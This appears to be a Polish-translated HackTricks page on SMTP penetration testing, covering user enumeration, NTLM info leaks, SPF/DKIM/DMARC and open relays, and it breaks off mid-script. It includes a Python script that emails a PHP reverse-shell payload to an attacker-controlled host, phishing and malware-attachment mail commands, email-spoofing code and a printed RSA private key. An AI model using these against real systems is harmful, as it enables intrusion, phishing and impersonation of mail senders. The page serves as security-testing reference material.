hacktricks/network-services-pentesting/pentesting-smtp
2024-02-11 01:46:25 +00:00
..
README.md Translated to Polish 2024-02-11 01:46:25 +00:00
smtp-commands.md Translated to Polish 2024-02-11 01:46:25 +00:00

25,465,587 - Testowanie penetracyjne SMTP/s

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Natychmiastowe dostępne narzędzie do oceny podatności i testowania penetracyjnego. Uruchom pełne testowanie penetracyjne z dowolnego miejsca za pomocą ponad 20 narzędzi i funkcji, które obejmują od rozpoznania po raportowanie. Nie zastępujemy testerów penetracyjnych - opracowujemy niestandardowe narzędzia, moduły wykrywania i eksploatacji, aby dać im więcej czasu na głębsze drążenie, otwieranie powłok i dobrą zabawę.

{% embed url="https://pentest-tools.com/" %}

Podstawowe informacje

Prosty protokół transferu poczty (SMTP) to protokół używany w pakiecie TCP/IP do wysyłania i odbierania wiadomości e-mail. Ze względu na ograniczenia w kolejce wiadomości po stronie odbiorcy, SMTP często jest stosowany wraz z protokołami POP3 lub IMAP. Te dodatkowe protokoły umożliwiają użytkownikom przechowywanie wiadomości w skrzynce pocztowej na serwerze i okresowe pobieranie ich.

W praktyce jest powszechne, że programy pocztowe używają SMTP do wysyłania wiadomości e-mail, podczas gdy do odbierania wykorzystują POP3 lub IMAP. W systemach opartych na Unix, sendmail wyróżnia się jako najczęściej używany serwer SMTP do celów pocztowych. Komercyjny pakiet znany jako Sendmail obejmuje serwer POP3. Ponadto, Microsoft Exchange dostarcza serwer SMTP i oferuje opcję dodania obsługi POP3.

Domyślny port: 25,465(ssl),587(ssl)

PORT   STATE SERVICE REASON  VERSION
25/tcp open  smtp    syn-ack Microsoft ESMTP 6.0.3790.3959

Nagłówki EMAIL

Jeśli masz możliwość, aby zmusić ofiarę do wysłania Ci e-maila (na przykład za pomocą formularza kontaktowego na stronie internetowej), zrób to, ponieważ możesz dowiedzieć się o wewnętrznej topologii ofiary, przeglądając nagłówki wiadomości.

Możesz również otrzymać e-mail z serwera SMTP, próbując wysłać na ten serwer e-mail na nieistniejący adres (ponieważ serwer wyśle atakującemu wiadomość NDN). Ale upewnij się, że wysyłasz e-mail z dozwolonego adresu (sprawdź politykę SPF) i że możesz odbierać wiadomości NDN.

Powinieneś również spróbować wysłać różne treści, ponieważ możesz znaleźć bardziej interesujące informacje w nagłówkach, takie jak: X-Virus-Scanned: by av.domain.com
Powinieneś wysłać plik testowy EICAR.
Wykrycie programu antywirusowego może umożliwić wykorzystanie znanych podatności.

Podstawowe działania

Pobieranie baneru/Podstawowe połączenie

SMTP:

nc -vn <IP> 25

SMTPS (Secure SMTP) to protokół używany do wysyłania wiadomości e-mail za pomocą szyfrowanego połączenia. Jest to rozszerzenie protokołu SMTP, które dodaje warstwę bezpieczeństwa poprzez użycie protokołu SSL/TLS. Działa na porcie 465.

Aby przeprowadzić testy penetracyjne SMTPS, można użyć narzędzi takich jak Nmap lub Metasploit. Nmap może być używany do skanowania otwartych portów i identyfikacji usług działających na tych portach. Metasploit natomiast oferuje wiele modułów do testowania penetracyjnego usług SMTPS, takich jak sprawdzanie podatności, ataki słownikowe na hasła, ataki na uwierzytelnianie i wiele innych.

Podczas testowania penetracyjnego SMTPS warto zwrócić uwagę na następujące aspekty:

  • Weryfikacja certyfikatu SSL/TLS: Upewnij się, że certyfikat używany przez serwer SMTPS jest ważny i poprawnie skonfigurowany.
  • Uwierzytelnianie: Sprawdź, czy serwer wymaga uwierzytelniania i czy są stosowane silne hasła.
  • Kontrola dostępu: Sprawdź, czy serwer SMTPS jest odpowiednio skonfigurowany pod względem kontroli dostępu, tak aby nie dopuścić do nieautoryzowanego dostępu.
  • Ograniczenia wysyłania: Sprawdź, czy serwer ma odpowiednie ograniczenia dotyczące wysyłania wiadomości, aby zapobiec nadużyciom.

Podsumowując, testowanie penetracyjne SMTPS jest istotnym krokiem w zabezpieczaniu infrastruktury e-mailowej. Pozwala ono na identyfikację potencjalnych luk w zabezpieczeniach i podjęcie odpowiednich działań naprawczych.

openssl s_client -crlf -connect smtp.mailgun.org:465 #SSL/TLS without starttls command
openssl s_client -starttls smtp -crlf -connect smtp.mailgun.org:587

Znajdowanie serwerów MX organizacji

Aby rozpocząć testowanie penetracyjne protokołu SMTP, musisz najpierw znaleźć serwery MX (Mail Exchange) organizacji, które chcesz testować. Serwery MX są odpowiedzialne za odbieranie i przekazywanie wiadomości e-mail do odpowiednich skrzynek pocztowych.

Istnieje kilka sposobów na znalezienie serwerów MX organizacji:

1. Wykorzystanie narzędzia nslookup

Możesz użyć narzędzia nslookup w celu uzyskania informacji o serwerach MX. Otwórz terminal i wpisz następujące polecenie:

nslookup -type=mx <domena>

Zastąp <domena> nazwą domeny organizacji, której serwery MX chcesz znaleźć. Wynik pokaże listę serwerów MX powiązanych z tą domeną.

2. Wykorzystanie narzędzia dig

Innym narzędziem, które możesz użyć, jest dig. Otwórz terminal i wpisz następujące polecenie:

dig <domena> MX

Podobnie jak wcześniej, zastąp <domena> nazwą domeny organizacji. Wynik pokaże listę serwerów MX powiązanych z tą domeną.

3. Wykorzystanie wyszukiwarki internetowej

Możesz również skorzystać z wyszukiwarki internetowej, aby znaleźć informacje o serwerach MX organizacji. Wpisz w wyszukiwarce frazę "MX records " i przejrzyj wyniki.

Po znalezieniu serwerów MX organizacji, będziesz mógł kontynuować testowanie penetracyjne protokołu SMTP, wykorzystując te informacje.

dig +short mx google.com

Wyliczanie

SMTP (Simple Mail Transfer Protocol) to protokół używany do wysyłania i odbierania wiadomości e-mail. Podczas testowania penetracyjnego usług SMTP, pierwszym krokiem jest wyliczenie informacji o serwerze SMTP, takich jak adres IP, nazwa domeny, porty, które są otwarte, i wersja protokołu SMTP.

Wyliczanie adresu IP i nazwy domeny

Aby wyliczyć adres IP i nazwę domeny serwera SMTP, można użyć narzędzi takich jak nslookup lub dig. Przykładowe polecenie nslookup:

nslookup smtp.example.com

Wyliczanie portów

Aby wyliczyć otwarte porty na serwerze SMTP, można użyć narzędzi takich jak nmap. Przykładowe polecenie nmap:

nmap -p 25,465,587 smtp.example.com

Wyliczanie wersji protokołu SMTP

Aby wyliczyć wersję protokołu SMTP, można użyć narzędzi takich jak telnet. Przykładowe polecenie telnet:

telnet smtp.example.com 25
EHLO example.com

Podczas wyliczania informacji o serwerze SMTP, warto również sprawdzić, czy serwer obsługuje rozszerzenia SMTP, takie jak STARTTLS czy AUTH.

nmap -p25 --script smtp-commands 10.10.10.10
nmap -p25 --script smtp-open-relay 10.10.10.10 -v

NTLM Auth - Ujawnianie informacji

Jeśli serwer obsługuje uwierzytelnianie NTLM (Windows), można uzyskać wrażliwe informacje (wersje). Więcej informacji tutaj.

root@kali: telnet example.com 587
220 example.com SMTP Server Banner
>> HELO
250 example.com Hello [x.x.x.x]
>> AUTH NTLM 334
NTLM supported
>> TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=
334 TlRMTVNTUAACAAAACgAKADgAAAAFgooCBqqVKFrKPCMAAAAAAAAAAEgASABCAAAABgOAJQAAAA9JAEkAUwAwADEAAgAKAEkASQBTADAAMQABAAoASQBJAFMAMAAxAAQACgBJAEkAUwAwADEAAwAKAEkASQBTADAAMQAHAAgAHwMI0VPy1QEAAAAA

Lub zautomatyzuj to za pomocą wtyczki nmap smtp-ntlm-info.nse

Nazwa wewnętrznego serwera - Ujawnienie informacji

Niektóre serwery SMTP automatycznie uzupełniają adres nadawcy, gdy wydane zostanie polecenie "MAIL FROM" bez pełnego adresu, ujawniając jego wewnętrzną nazwę:

220 somedomain.com Microsoft ESMTP MAIL Service, Version: Y.Y.Y.Y ready at  Wed, 15 Sep 2021 12:13:28 +0200
EHLO all
250-somedomain.com Hello [x.x.x.x]
250-TURN
250-SIZE 52428800
250-ETRN
250-PIPELINING
250-DSN
250-ENHANCEDSTATUSCODES
250-8bitmime
250-BINARYMIME
250-CHUNKING
250-VRFY
250 OK
MAIL FROM: me
250 2.1.0 me@PRODSERV01.somedomain.com....Sender OK

Podsłuchiwanie

Sprawdź, czy podsłuchujesz jakieś hasło z pakietów do portu 25.

Brute force uwierzytelniania

Wyliczanie nazw użytkowników metodą brute force

Uwierzytelnienie nie zawsze jest wymagane

RCPT TO

$ telnet 1.1.1.1 25
Trying 1.1.1.1...
Connected to 1.1.1.1.
Escape character is '^]'.
220 myhost ESMTP Sendmail 8.9.3
HELO x
250 myhost Hello 18.28.38.48, pleased to meet you
MAIL FROM:example@domain.com
250 2.1.0 example@domain.com... Sender ok
RCPT TO:test
550 5.1.1 test... User unknown
RCPT TO:admin
550 5.1.1 admin... User unknown
RCPT TO:ed
250 2.1.5 ed... Recipient ok

VRFY

VRFY (Verification) to polecenie SMTP, które służy do weryfikacji istnienia użytkownika na serwerze SMTP. Polecenie VRFY sprawdza, czy dany użytkownik jest prawidłowy i czy istnieje na serwerze. Jeśli serwer SMTP zwraca odpowiedź pozytywną, oznacza to, że użytkownik istnieje. W przeciwnym razie oznacza to, że użytkownik nie istnieje lub serwer nie obsługuje polecenia VRFY.

Atakujący może wykorzystać polecenie VRFY do zbierania informacji o użytkownikach na serwerze SMTP. Przez iteracyjne wywoływanie polecenia VRFY z różnymi kombinacjami nazw użytkowników, atakujący może uzyskać listę prawidłowych użytkowników na serwerze. Ta informacja może być wykorzystana do dalszych ataków, takich jak próba logowania na konta użytkowników przy użyciu słowników haseł.

Aby zabezpieczyć serwer SMTP przed atakami wykorzystującymi polecenie VRFY, zaleca się wyłączenie tej funkcji lub skonfigurowanie serwera w taki sposób, aby nie zwracał informacji o istnieniu użytkowników.

$ telnet 1.1.1.1 25
Trying 1.1.1.1...
Connected to 1.1.1.1.
Escape character is '^]'.
220 myhost ESMTP Sendmail 8.9.3
HELO
501 HELO requires domain address
HELO x
250 myhost Hello 18.28.38.48, pleased to meet you
VRFY root
250 Super-User root@myhost
VRFY blah
550 blah... User unknown

EXPN

Komenda EXPN jest używana w protokole SMTP (Simple Mail Transfer Protocol) do sprawdzania, czy dany serwer SMTP obsługuje rozszerzenie EXPN. Rozszerzenie EXPN pozwala na uzyskanie pełnej listy członków listy mailingowej na serwerze.

Składnia

EXPN <listname>

Opis

Po wysłaniu komendy EXPN , serwer SMTP odpowie jednym z następujących komunikatów:

  • 250 - Komenda została wykonana pomyślnie, a serwer zwraca listę członków listy mailingowej.
  • 550 - Komenda nie została wykonana pomyślnie, a serwer nie obsługuje rozszerzenia EXPN lub lista mailingowa nie istnieje.

Wykorzystanie w pentestach

Podczas testowania penetracyjnego, komenda EXPN może być używana do sprawdzenia, czy serwer SMTP jest podatny na wyciek informacji. Jeśli serwer zwraca pełną listę członków listy mailingowej, atakujący może wykorzystać te informacje do celów związanych z inżynierią społeczną lub spamem.

Przykład

EXPN mailinglist@example.com

W powyższym przykładzie, komenda EXPN jest używana do sprawdzenia, czy serwer SMTP obsługuje listę mailingową o nazwie "mailinglist@example.com".

$ telnet 1.1.1.1 25
Trying 1.1.1.1...
Connected to 1.1.1.1.
Escape character is '^]'.
220 myhost ESMTP Sendmail 8.9.3
HELO
501 HELO requires domain address
HELO x
EXPN test
550 5.1.1 test... User unknown
EXPN root
250 2.1.5 ed.williams@myhost
EXPN sshd
250 2.1.5 sshd privsep sshd@myhost

Automatyczne narzędzia

There are several automated tools available for SMTP pentesting that can help in identifying vulnerabilities and weaknesses in the SMTP service. These tools can be used to automate various tasks such as enumeration, brute-forcing, and exploitation. Some popular automated tools for SMTP pentesting are:

  • Nmap: Nmap is a powerful network scanning tool that can be used to scan for open SMTP ports and identify potential vulnerabilities.
  • Metasploit: Metasploit is a widely used penetration testing framework that includes various modules for SMTP enumeration, brute-forcing, and exploitation.
  • SMTP User Enum: SMTP User Enum is a tool specifically designed for enumerating valid users on an SMTP server. It can be used to identify potential targets for further exploitation.
  • Hydra: Hydra is a popular brute-forcing tool that supports various protocols, including SMTP. It can be used to perform dictionary or brute-force attacks against SMTP servers.
  • Burp Suite: Burp Suite is a comprehensive web application testing tool that can also be used for SMTP pentesting. It includes various modules for enumeration, scanning, and exploitation of SMTP services.

These tools can significantly speed up the process of SMTP pentesting by automating repetitive tasks and providing valuable insights into the security of the SMTP service. However, it is important to use them responsibly and with proper authorization to avoid any legal consequences.

Metasploit: auxiliary/scanner/smtp/smtp_enum
smtp-user-enum: smtp-user-enum -M <MODE> -u <USER> -t <IP>
Nmap: nmap --script smtp-enum-users <IP>

Natychmiastowe dostępne narzędzia do oceny podatności i testowania penetracyjnego. Uruchom pełne testowanie penetracyjne z dowolnego miejsca za pomocą ponad 20 narzędzi i funkcji, które obejmują odzyskiwanie informacji i raportowanie. Nie zastępujemy testerów penetracyjnych - opracowujemy niestandardowe narzędzia, moduły wykrywania i eksploatacji, aby umożliwić im zagłębienie się, zdobycie dostępu i dobrą zabawę.

{% embed url="https://pentest-tools.com/" %}

Raporty DSN

Raporty o statusie dostarczenia: Jeśli wysyłasz e-mail do organizacji na nieprawidłowy adres, organizacja powiadomi, że adres jest nieprawidłowy, wysyłając e-mail z powrotem do Ciebie. Nagłówki zwróconego e-maila będą zawierać możliwe czułe informacje (takie jak adres IP usług pocztowych, które miały kontakt z raportami lub informacje o oprogramowaniu antywirusowym).

Polecenia

Wysyłanie e-maila z konsoli Linux

sendEmail -t to@domain.com -f from@attacker.com -s <ip smtp> -u "Important subject" -a /tmp/malware.pdf
Reading message body from STDIN because the '-m' option was not used.
If you are manually typing in a message:
- First line must be received within 60 seconds.
- End manual input with a CTRL-D on its own line.

<phishing message>
swaks --to $(cat emails | tr '\n' ',' | less) --from test@sneakymailer.htb --header "Subject: test" --body "please click here http://10.10.14.42/" --server 10.10.10.197

Wysyłanie wiadomości e-mail za pomocą Pythona

To send an email using Python, you can use the smtplib library, which provides a simple way to interact with the Simple Mail Transfer Protocol (SMTP) server. Here's an example of how to send an email using Python:

import smtplib
from email.mime.text import MIMEText

def send_email(sender, recipient, subject, message):
    # Create a MIMEText object with the message content
    msg = MIMEText(message)

    # Set the sender, recipient, and subject headers
    msg['From'] = sender
    msg['To'] = recipient
    msg['Subject'] = subject

    # Connect to the SMTP server
    server = smtplib.SMTP('smtp.example.com', 587)
    server.starttls()
    server.login('username', 'password')

    # Send the email
    server.send_message(msg)

    # Disconnect from the server
    server.quit()

# Usage example
sender = 'sender@example.com'
recipient = 'recipient@example.com'
subject = 'Hello from Python!'
message = 'This is a test email sent using Python.'

send_email(sender, recipient, subject, message)

In the example above, you need to replace 'smtp.example.com' with the address of your SMTP server. You also need to provide your own email address and password for authentication.

Remember to enable less secure apps or generate an app password if you are using Gmail as your SMTP server.

That's it! You can now send emails using Python.

from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
import smtplib
import sys

lhost = "127.0.0.1"
lport = 443
rhost = "192.168.1.1"
rport = 25 # 489,587

# create message object instance
msg = MIMEMultipart()

# setup the parameters of the message
password = ""
msg['From'] = "attacker@local"
msg['To'] = "victim@local"
msg['Subject'] = "This is not a drill!"

# payload
message = ("<?php system('bash -i >& /dev/tcp/%s/%d 0>&1'); ?>" % (lhost,lport))

print("[*] Payload is generated : %s" % message)

msg.attach(MIMEText(message, 'plain'))
server = smtplib.SMTP(host=rhost,port=rport)

if server.noop()[0] != 250:
print("[-]Connection Error")
exit()

server.starttls()

# Uncomment if log-in with authencation
# server.login(msg['From'], password)

server.sendmail(msg['From'], msg['To'], msg.as_string())
server.quit()

print("[***]successfully sent email to %s:" % (msg['To']))

Przeciwdziałanie podszywaniu się pod pocztę

Organizacje są chronione przed nieautoryzowanym wysyłaniem wiadomości e-mail w ich imieniu poprzez zastosowanie SPF, DKIM i DMARC ze względu na łatwość podszywania się pod wiadomości SMTP.

Pełny przewodnik dotyczący tych środków ostrożności jest udostępniony pod adresem https://seanthegeek.net/459/demystifying-dmarc/.

SPF

{% hint style="danger" %} SPF zostało "przestarzałe" w 2014 roku. Oznacza to, że zamiast tworzyć rekord TXT w _spf.domena.com, tworzy się go w domena.com używając tej samej składni.
Ponadto, aby ponownie użyć wcześniejszych rekordów SPF, często można znaleźć coś takiego jak "v=spf1 include:_spf.google.com ~all" {% endhint %}

Sender Policy Framework (SPF) to mechanizm, który umożliwia agentom transferu poczty (MTA) weryfikację, czy host wysyłający wiadomość e-mail jest autoryzowany, poprzez zapytanie listy autoryzowanych serwerów pocztowych zdefiniowanych przez organizacje. Ta lista, która określa adresy IP/zakresy, domeny i inne jednostki uprawnione do wysyłania wiadomości e-mail w imieniu domeny, zawiera różne "Mechanizmy" w rekordzie SPF.

Mechanizmy

Z Wikipedia:

Mechanizm Opis
ALL Zawsze pasuje; używane dla domyślnego wyniku, na przykład -all dla wszystkich adresów IP, które nie pasują do poprzednich mechanizmów.
A Jeśli nazwa domeny ma rekord adresu (A lub AAAA), który można przypisać do adresu nadawcy, pasuje.
IP4 Jeśli nadawca znajduje się w określonym zakresie adresów IPv4, pasuje.
IP6 Jeśli nadawca znajduje się w określonym zakresie adresów IPv6, pasuje.
MX Jeśli nazwa domeny ma rekord MX przypisujący się do adresu nadawcy, pasuje (czyli poczta pochodzi od jednego z serwerów poczty przychodzącej domeny).
PTR Jeśli nazwa domeny (rekord PTR) dla adresu klienta znajduje się w podanej domenie i ta nazwa domeny przypisuje się do adresu klienta (potwierdzenie odwrotne DNS), pasuje. Ten mechanizm jest odradzany i należy go unikać, jeśli to możliwe.
EXISTS Jeśli podana nazwa domeny przypisuje się do dowolnego adresu, pasuje (niezależnie od adresu, do którego przypisuje się). Jest to rzadko stosowane. W połączeniu z językiem makr SPF oferuje bardziej złożone dopasowania, takie jak zapytania DNSBL.
INCLUDE Odwołuje się do polityki innej domeny. Jeśli polityka tej domeny zostanie zaakceptowana, ten mechanizm zostanie zaakceptowany. Jednak jeśli polityka dołączonej domeny nie zostanie zaakceptowana, przetwarzanie będzie kontynuowane. Aby w pełni przekazać politykę innej domeny, należy użyć rozszerzenia przekierowania.
REDIRECT

Przekierowanie to wskaźnik na inną nazwę domeny, która hostuje politykę SPF, umożliwiające współdzielenie tej samej polityki SPF przez wiele domen. Jest to przydatne przy pracy z dużą liczbą domen, które korzystają z tej samej infrastruktury pocztowej.

Polityka SPF domeny wskazanej w mechanizmie przekierowania zostanie użyta.

Można również zidentyfikować Kwalifikatory, które wskazują co należy zrobić, jeśli mechanizm zostanie dopasowany. Domyślnie używany jest kwalifikator "+" (więc jeśli którykolwiek mechanizm zostanie dopasowany, oznacza to, że jest dozwolony).
Zazwyczaj na końcu każdej polityki SPF zauważysz coś takiego jak: ~all lub -all. Służy to do wskazania, że jeśli nadawca nie pasuje do żadnej polityki SPF, należy oznaczyć wiadomość e-mail jako niezaufaną (~) lub odrzucić (-) wiadomość e-mail.

Kwalifikatory

Każdy mechanizm w polityce może być poprzedzony jednym z czterech kwalifikatorów, aby zdefiniować zamierzony wynik:

  • +: Odpowiada wynikowi PASS. Domyślnie mechanizmy zakładają ten kwalifikator, co oznacza, że +mx jest równoważne mx.
  • ?: Oznacza wynik NEUTRAL, traktowany podobnie jak NONE (brak konkretnej polityki).
  • ~: Oznacza SOFTFAIL, stanowiąc złoty środek między NEUTRAL a FAIL. E-maile spełniające ten wynik są zwykle akceptowane, ale oznaczane odpowiednio.
  • -: Oznacza FAIL, sugerując, że wiadomość e-mail powinna być całkowicie odrzucona.

W poniższym przykładzie przedstawiono politykę SPF dla google.com. Zauważ włączenie polityk SPF z różnych domen w ramach pierwszej polityki SPF:

dig txt google.com | grep spf
google.com.             235     IN      TXT     "v=spf1 include:_spf.google.com ~all"

dig txt _spf.google.com | grep spf
; <<>> DiG 9.11.3-1ubuntu1.7-Ubuntu <<>> txt _spf.google.com
;_spf.google.com.               IN      TXT
_spf.google.com.        235     IN      TXT     "v=spf1 include:_netblocks.google.com include:_netblocks2.google.com include:_netblocks3.google.com ~all"

dig txt _netblocks.google.com | grep spf
_netblocks.google.com.  1606    IN      TXT     "v=spf1 ip4:35.190.247.0/24 ip4:64.233.160.0/19 ip4:66.102.0.0/20 ip4:66.249.80.0/20 ip4:72.14.192.0/18 ip4:74.125.0.0/16 ip4:108.177.8.0/21 ip4:173.194.0.0/16 ip4:209.85.128.0/17 ip4:216.58.192.0/19 ip4:216.239.32.0/19 ~all"

dig txt _netblocks2.google.com | grep spf
_netblocks2.google.com. 1908    IN      TXT     "v=spf1 ip6:2001:4860:4000::/36 ip6:2404:6800:4000::/36 ip6:2607:f8b0:4000::/36 ip6:2800:3f0:4000::/36 ip6:2a00:1450:4000::/36 ip6:2c0f:fb50:4000::/36 ~all"

dig txt _netblocks3.google.com | grep spf
_netblocks3.google.com. 1903    IN      TXT     "v=spf1 ip4:172.217.0.0/19 ip4:172.217.32.0/20 ip4:172.217.128.0/19 ip4:172.217.160.0/20 ip4:172.217.192.0/19 ip4:172.253.56.0/21 ip4:172.253.112.0/20 ip4:108.177.96.0/19 ip4:35.191.0.0/16 ip4:130.211.0.0/22 ~all"

Tradycyjnie możliwe było podszywanie się pod dowolną nazwę domeny, która nie miała poprawnego/żadnego rekordu SPF. Obecnie, jeśli e-mail pochodzi z domeny bez poprawnego rekordu SPF, prawdopodobnie zostanie automatycznie odrzucony/oznaczony jako niezaufany.

Aby sprawdzić SPF domeny, można użyć narzędzi online, takich jak: https://www.kitterman.com/spf/validate.html

DKIM (DomainKeys Identified Mail)

DKIM jest wykorzystywane do podpisywania wychodzących wiadomości e-mail, umożliwiając ich weryfikację przez zewnętrzne agenty transferu poczty (MTA) poprzez pobranie klucza publicznego domeny z DNS. Klucz publiczny ten znajduje się w rekordzie TXT domeny. Aby uzyskać dostęp do tego klucza, trzeba znać zarówno selektor, jak i nazwę domeny.

Na przykład, aby poprosić o klucz, niezbędne są nazwa domeny i selektor. Można je znaleźć w nagłówku wiadomości e-mail DKIM-Signature, np. d=gmail.com;s=20120113.

Polecenie do pobrania tych informacji może wyglądać tak:

dig 20120113._domainkey.gmail.com TXT | grep p=
# This command would return something like:
20120113._domainkey.gmail.com. 280 IN   TXT    "k=rsa\; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA1Kd87/UeJjenpabgbFwh+eBCsSTrqmwIYYvywlbhbqoo2DymndFkbjOVIPIldNs/m40KF+yzMn1skyoxcTUGCQs8g3

DMARC (Domain-based Message Authentication, Reporting & Conformance)

DMARC poprawia bezpieczeństwo e-maili, opierając się na protokołach SPF i DKIM. Określa zasady, które kierują serwerami poczty w obsłudze wiadomości e-mail z określonej domeny, w tym sposobem postępowania w przypadku niepowodzeń uwierzytelniania oraz gdzie wysyłać raporty dotyczące działań związanych z przetwarzaniem wiadomości e-mail.

Aby uzyskać rekord DMARC, musisz zapytać o subdomenę _dmarc

# Reject
dig _dmarc.facebook.com txt | grep DMARC
_dmarc.facebook.com.	3600	IN	TXT	"v=DMARC1; p=reject; rua=mailto:a@dmarc.facebookmail.com; ruf=mailto:fb-dmarc@datafeeds.phishlabs.com; pct=100"

# Quarantine
dig _dmarc.google.com txt | grep DMARC
_dmarc.google.com.	300	IN	TXT	"v=DMARC1; p=quarantine; rua=mailto:mailauth-reports@google.com"

# None
dig _dmarc.bing.com txt | grep DMARC
_dmarc.bing.com.	3600	IN	TXT	"v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMARC@microsoft.com;"

Tagi DMARC

Nazwa tagu Cel Przykład
v Wersja protokołu v=DMARC1
pct Procent wiadomości poddanych filtrowaniu pct=20
ruf Adres URI do raportów forensycznych ruf=mailto:authfail@example.com
rua Adres URI do raportów zbiorczych rua=mailto:aggrep@example.com
p Polityka dla domeny organizacyjnej p=quarantine
sp Polityka dla subdomen OD sp=reject
adkim Tryb wyrównania dla DKIM adkim=s
aspf Tryb wyrównania dla SPF aspf=r

A co z subdomenami?

Z tutaj.
Musisz mieć oddzielne rekordy SPF dla każdej subdomeny, z której chcesz wysyłać wiadomości e-mail.
Poniższy tekst został pierwotnie opublikowany na stronie openspf.org, która kiedyś była świetnym źródłem informacji na ten temat.

Pytanie o demona: A co z subdomenami?

Jeśli otrzymam wiadomość e-mail z pielovers.demon.co.uk i nie ma danych SPF dla pielovers, czy powinienem wrócić o jeden poziom i sprawdzić SPF dla demon.co.uk? Nie. Każda subdomena w Demon to inny klient, a każdy klient może mieć swoją własną politykę. Nie miałoby to sensu, aby polityka Demona automatycznie dotyczyła wszystkich jego klientów; jeśli Demon chce to zrobić, może skonfigurować rekordy SPF dla każdej subdomeny.

Dlatego zalecenie dla wydawców SPF jest takie: powinieneś dodać rekord SPF dla każdej subdomeny lub nazwy hosta, która ma rekord A lub MX.

Strony z rekordami A lub MX zastępczymi powinny również mieć rekord SPF zastępczy, o następującej formie: * IN TXT "v=spf1 -all"

To ma sens - subdomena może znajdować się w zupełnie innym miejscu geograficznym i mieć zupełnie inną definicję SPF.

Open Relay

Podczas wysyłania wiadomości e-mail ważne jest, aby zapewnić, że nie zostaną one oznaczone jako spam. Często osiąga się to poprzez użycie serwera przekaźnikowego, który jest zaufany przez odbiorcę. Jednak częstym wyzwaniem jest to, że administratorzy mogą nie być w pełni świadomi, które zakresy adresów IP są bezpieczne do zezwolenia. Brak zrozumienia może prowadzić do błędów w konfiguracji serwera SMTP, co często jest wykrywane podczas oceny bezpieczeństwa.

Rozwiązaniem, którego niektórzy administratorzy używają, aby uniknąć problemów z dostarczaniem wiadomości e-mail, zwłaszcza w przypadku komunikacji z potencjalnymi lub obecnymi klientami, jest zezwolenie na połączenia z dowolnego adresu IP. Dokonuje się tego poprzez skonfigurowanie parametru mynetworks serwera SMTP w taki sposób, jak pokazano poniżej:

mynetworks = 0.0.0.0/0

Aby sprawdzić, czy serwer poczty jest otwartym przekaźnikiem (co oznacza, że może przekazywać wiadomości e-mail z dowolnego źródła zewnętrznego), powszechnie używane jest narzędzie nmap. Zawiera ono specjalny skrypt zaprojektowany do przetestowania tego. Polecenie do przeprowadzenia szczegółowego skanu serwera (na przykład o adresie IP 10.10.10.10) na porcie 25 przy użyciu nmap to:

nmap -p25 --script smtp-open-relay 10.10.10.10 -v

Narzędzia

Wysyłanie sfałszowanego e-maila

Lub możesz użyć narzędzia:

# This will send a test email from test@victim.com to destination@gmail.com
python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com
# But you can also modify more options of the email
python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com --subject TEST --sender administrator@victim.com

{% hint style="warning" %} Jeśli wystąpi błąd podczas używania biblioteki dkim python do parsowania klucza, możesz użyć poniższego klucza.
UWAGA: To tylko tymczasowe rozwiązanie, które pozwala szybko sprawdzić przypadki, w których z jakiegoś powodu klucz prywatny openssl nie może być sparsowany przez dkim.

-----BEGIN RSA PRIVATE KEY-----
MIICXgIBAAKBgQDdkohAIWT6mXiHpfAHF8bv2vHTDboN2dl5pZKG5ZSHCYC5Z1bt
spr6chlrPUX71hfSkk8WxnJ1iC9Moa9sRzdjBrxPMjRDgP8p8AFdpugP5rJJXExO
pkZcdNPvCXGYNYD86Gpous6ubn6KhUWwDD1bw2UFu53nW/AK/EE4/jeraQIDAQAB
AoGAe31lrsht7TWH9aJISsu3torCaKyn23xlNuVO6xwdUb28Hpk327bFpXveKuS1
koxaLqQYrEriFBtYsU8T5Dc06FQAVLpUBOn+9PcKlxPBCLvUF+/KbfHF0q1QbeZR
fgr+E+fPxwVPxxk3i1AwCP4Cp1+bz2s58wZXlDBkWZ2YJwECQQD/f4bO2lnJz9Mq
1xsL3PqHlzIKh+W+yiGmQAELbgOdX4uCxMxjs5lwGSACMH2nUwXx+05RB8EM2m+j
ZBTeqxDxAkEA3gHyUtVenuTGClgYpiwefaTbGfYadh0z2KmiVcRqWzz3hDUEWxhc
GNtFT8wzLcmRHB4SQYUaS0Df9mpvwvdB+QJBALGv9Qci39L0j/15P7wOYMWvpwOf
422+kYxXcuKKDkWCTzoQt7yXCRzmvFYJdznJCZdymNLNu7q+p2lQjxsUiWECQQCI
Ms2FP91ywYs1oWJN39c84byBKtiFCdla3Ib48y0EmFyJQTVQ5ZrqrOrSz8W+G2Do
zRIKHCxLapt7w0SZabORAkEAxvm5pd2MNVqrqMJHbukHY1yBqwm5zVIYr75eiIDP
K9B7U1w0CJFUk6+4Qutr2ROqKtNOff9KuNRLAOiAzH3ZbQ==
-----END RSA PRIVATE KEY-----

{% endhint %}

Możesz również zrobić to ręcznie:

{% tabs %} {% tab title="PHP" %}

# To wyśle niepodpisaną wiadomość
mail("twoj_email@gmail.com", "Temat testowy!", "Cześć! To jest test", "Od: administrator@ofiara.com");

{% endtab %}

{% tab title="Python" %}

# Code from https://github.com/magichk/magicspoofing/blob/main/magicspoofmail.py

import os
import dkim #pip3 install dkimpy
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.base import MIMEBase

# Set params
destination="destination@gmail.com"
sender="administrator@victim.com"
subject="Test"
message_html="""
<html>
<body>
<h3>This is a test, not a scam</h3>
<br />
</body>
</html>
"""
sender_domain=sender.split("@")[1]

# Prepare postfix
os.system("sudo sed -ri 's/(myhostname) = (.*)/\\1 = "+sender_domain+"/g' /etc/postfix/main.cf")
os.system("systemctl restart postfix")

# Generate DKIM keys
dkim_private_key_path="dkimprivatekey.pem"
os.system(f"openssl genrsa -out {dkim_private_key_path} 1024 2> /dev/null")
with open(dkim_private_key_path) as fh:
dkim_private_key = fh.read()

# Generate email
msg = MIMEMultipart("alternative")
msg.attach(MIMEText(message_html, "html"))
msg["To"] = destination
msg["From"] = sender
msg["Subject"] = subject
headers = [b"To", b"From", b"Subject"]
msg_data = msg.as_bytes()

# Sign email with dkim
## The receiver won't be able to check it, but the email will appear as signed (and therefore, more trusted)
dkim_selector="s1"
